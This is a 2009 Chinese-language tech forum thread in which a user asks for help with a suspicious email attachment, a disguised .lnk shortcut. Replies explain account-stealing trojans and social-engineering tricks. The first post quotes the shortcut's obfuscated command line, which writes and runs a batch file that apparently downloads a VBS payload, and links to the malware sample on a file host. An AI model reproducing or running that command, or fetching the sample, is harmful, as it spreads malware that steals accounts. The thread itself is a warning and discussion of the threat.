PCDVD數位科技討論區
PCDVD數位科技討論區   註冊 常見問題 標記討論區為已讀

回到   PCDVD數位科技討論區 > 其他群組 > 七嘴八舌異言堂
帳戶
密碼
 

回應
 
主題工具
misa
Golden Member
 

加入日期: Dec 2004
文章: 2,636
最近常收到疑似病毒的信,麻煩大家來幫小弟看看吧!!

主旨:我做好了,累~~♂
內容:

我做好了,累~~

不知道可不可以,希望妳喜歡……不要作夢也會笑

----------------------------------------------

最近一個我追了很久但一直追不到的妹常常寄類似的信給我
每次看到螢幕右下角跳出"您有一封新郵件"就開心了一下
打開後發現是一封莫名其妙的病毒信整個心情掉到谷底

郵件中都會有一個附加檔案
是一個壓縮檔,解壓縮後會有一個.lnk的捷徑
點兩下執行後什麼事都沒有發生
用NOD32掃瞄後沒有發現病毒
用Google搜尋也沒有找到什麼資料
yahoo 病毒信主旨統計中有這些信的演示,但沒有詳細的資料

在檔案上按右鍵選內容之後如下...


看起來比較可疑的是 目標、開始位置、執行 三個,但我都看不懂...
目標 中寫的是
引用:
%ComsPEc% /C set F=T&SET b= &eCho %f%f%f%P%b%%F%f%f%F%f%.nE%F%%b%Ge%f%%B%%F%%B%V.VbS>l.bat&EcHo s%f%Ar%f%%b%V.vbs>>l.bAt&l.baT

開始位置 中寫的是
引用:
%windir%


附加檔案在此,請小心服用!!!!
http://www.badongo.com/file/18319234

我的電腦目前似乎沒出現什麼問題,反正有問題重灌就好了
我比較擔心的是那位妹妹的帳號會不會被盜,如果被盜了以後就不能跟她聊天了
麻煩大家幫小弟看看吧!! 謝謝!!
     
      

此文章於 2009-11-11 07:22 AM 被 misa 編輯.
舊 2009-11-11, 07:21 AM #1
回應時引用此文章
misa離線中  
darksnow
Golden Member
 

加入日期: Aug 2002
文章: 2,806
這是要盜帳號的吧,通常是要盜拍賣帳號的。
沒記錯的話他應該會連到ftp之類的把真正的病毒抓回來跑
 
舊 2009-11-11, 07:38 AM #2
回應時引用此文章
darksnow離線中  
吉他之繩
Senior Member
 

加入日期: Dec 2000
文章: 1,145
點兩下之後一定會發生一些事情,只是要不要給你看到
我猜,到該網址以後會下載某個vbs
然後就是執行以後的動作了

勸各位:
1.不要打開可疑的信件,看防毒軟體有沒有反應來決定是否有問題。如果該行為「目前」不在防毒軟體認定有問題的條件中,那麼當然會被認為沒問題。將來呢?
2.不要下載樓主所上傳的檔案,因為或許他才是想要傳播的那個人,這封帖子只是個社交手段
3.樓主沒必要把檔案上傳給不確定的大眾觀看,或許這只是個病毒,或許還會盜銀行帳號,造成pcdvd的網友們實質上的損失,那是你的初衷嗎?不是嘛。所以,原始檔案能不上傳就不上傳,大家討論討論就好了,你我都不是病毒公司的專業人員,沒必要冒這個風險。不過就是個妹,要追不追隨便你。你放上來就會引起人家的好奇,這是社交手段的重要因素,盡量避免。
__________________
多少人走者,卻困在原地
多少人活著,卻如同死去
我想說的都在

跟這
停權中

此文章於 2009-11-11 08:03 AM 被 吉他之繩 編輯.
舊 2009-11-11, 08:00 AM #3
回應時引用此文章
吉他之繩離線中  
吉他之繩
Senior Member
 

加入日期: Dec 2000
文章: 1,145
我講一下以前碰過的經驗
我在大陸網站上找到一個snort的解說檔,據該網頁所言,裡面有很多我想要的東西(步驟一,好奇)
然後我把它下載下來並且解開,裡面有三個檔案都是word檔,前兩個word檔沒什麼特別,只有第三個檔案檔名比較特別(步驟二,偽裝)
一般人連開兩個槓龜,下意識的就會打開第三個檔案(步驟三,執行),只是我先發現這個word檔的圖案有點失真,小心了點,用word去打開它,而不是直接點兩下,這才發現打不開。也就是說,根本不是word檔。

這,就是木馬。

在網路的世界裡,知道多的,就是贏家。你以為人家那麼好心,把你想要的東西都放在網路上供不特定人士下載,你以為你聰明,抄了這麼多捷徑,省了這麼多精力,其實,贏的是他。
__________________
多少人走者,卻困在原地
多少人活著,卻如同死去
我想說的都在

跟這
停權中
舊 2009-11-11, 08:27 AM #4
回應時引用此文章
吉他之繩離線中  
museshuner
*停權中*
 

加入日期: Sep 2004
您的住址: 懸崖邊
文章: 1,462
引用:
作者吉他之繩
我講一下以前碰過的經驗
我在大陸網站上找到一個snort的解說檔,據該網頁所言,裡面有很多我想要的東西(步驟一,好奇)
然後我把它下載下來並且解開,裡面有三個檔案都是word檔,前兩個word檔沒什麼特別,只有第三個檔案檔名比較特別(步驟二,偽裝)
一般人連開兩個槓龜,下意識的就會打開第三個檔案(步驟三,執行),只是我先發現這個word檔的圖案有點失真,小心了點,用word去打開它,而不是直接點兩下,這才發現打不開。也就是說,根本不是word檔。

這,就是木馬。

在網路的世界裡,知道多的,就是贏家。你以為人家那麼好心,把你想要的東西都放在網路上供不特定人士下載,你以為你聰明,抄了這麼多捷徑,省了這麼多精力,其實,贏的是他。


有經驗
舊 2009-11-11, 03:10 PM #5
回應時引用此文章
museshuner離線中  
misa
Golden Member
 

加入日期: Dec 2004
文章: 2,636
先說聲抱歉,我不是有意要上傳病毒給大家下載
文章中我也應該注明請大家小心類似的信件不要隨便開啟,不過我忘了
前面寫的那個妹只是一段小插曲,MSN不是唯一的連絡工具
附加的檔案我已經寫信去便當狗請他們刪除了

大家最近有收到類似的信的,小心點不要隨便開啟吧!!
Good Luck !
舊 2009-11-11, 03:44 PM #6
回應時引用此文章
misa離線中  
吉他之繩
Senior Member
 

加入日期: Dec 2000
文章: 1,145
引用:
作者misa
先說聲抱歉,我不是有意要上傳病毒給大家下載

我想應該也是,我說話是重了點,只是想提醒大家,木馬是無所不在的,千萬不要用防毒軟體去測試,防木馬有防木馬的專用程式,如果把病毒特徵跟木馬全部都放進去防毒程式裡面的話,防毒程式run起來會非常肥大,消費者會排斥進而沒人買,所以短時間內都會是這樣。將來可能會稍微改進吧。

像這個木馬來說,它偽裝成「禮物.lnk」但是實際上不是,裡面其實是個執行檔,這些都有程式(沒錯,給新手用的製作木馬程式)可以做到。它只是看起來像個捷徑,而當你點下去之後,什麼事都沒發生,你以為沒事,就當做一天當中一大堆無解的問題中又一個無解的問題。但是如果你用簡單的程式打開它的話,你會發現第一行就有問題,翻成中文就是「本程式無法執行於dos模式」。你還認為他是個捷徑嗎?

所以,這個時候,木馬已經進城了,在地球的另一端,有一個人的電腦螢幕閃爍起來,上面有你的ip,當他下班之後,發現又多了一個殭屍可以使用,於是,你的電腦就被用來進行犯罪行為而不自知。千萬,千萬不要好奇點點看會不會發生什麼事來決定這件事情恐不恐怖。
免錢的最恐怖,靜悄悄的最恐怖。

以前的病毒,是用來破壞的,它大剌剌的喊著我是病毒,它的目的是提醒你你有多肉雞,而他有多威風。現在的木馬則是用來賺錢的,它不大聲嚷嚷,它靜悄悄的躺在你的硬碟裡,幾秒鐘才跟主人聯絡一下,用的又是一般的協定,像個折凳,隱藏在民居之中......
__________________
多少人走者,卻困在原地
多少人活著,卻如同死去
我想說的都在

跟這
停權中
舊 2009-11-11, 07:21 PM #7
回應時引用此文章
吉他之繩離線中  
hyca
Senior Member
 

加入日期: Feb 2003
您的住址: 達拉星球
文章: 1,142
有沒有可能是你喜歡的女生突然愛上你
然後想了解你的私生活
舊 2009-11-11, 07:30 PM #8
回應時引用此文章
hyca離線中  
地海巫師
*停權中*
 
地海巫師的大頭照
 

加入日期: Aug 2006
文章: 347
引用:
作者吉他之繩
我講一下以前碰過的經驗
我在大陸網站上找到一個snort的解說檔,據該網頁所言,裡面有很多我想要的東西(步驟一,好奇)
然後我把它下載下來並且解開,裡面有三個檔案都是word檔,前兩個word檔沒什麼特別,只有第三個檔案檔名比較特別(步驟二,偽裝)
一般人連開兩個槓龜,下意識的就會打開第三個檔案(步驟三,執行),只是我先發現這個word檔的圖案有點失真,小心了點,用word去打開它,而不是直接點兩下,這才發現打不開。也就是說,根本不是word檔。

這,就是木馬。



以迂為直,以患為利
舊 2009-11-11, 07:34 PM #9
回應時引用此文章
地海巫師離線中  
lufonts
Basic Member
 
lufonts的大頭照
 

加入日期: Aug 2003
您的住址: 台中市
文章: 24
這都是到號木馬阿,YAHOO信箱蠻常見的,

通常都是對方去點那個木馬,然後他通訊錄裡的所有人都會收到同一封病毒信。
舊 2009-11-11, 07:51 PM #10
回應時引用此文章
lufonts離線中  


回應


POPIN
主題工具

發表文章規則
不可以發起新主題
不可以回應主題
不可以上傳附加檔案
不可以編輯您的文章

vB 代碼打開
[IMG]代碼打開
HTML代碼關閉



所有的時間均為GMT +8。 現在的時間是12:03 AM.


vBulletin Version 3.0.1
powered_by_vbulletin 2026。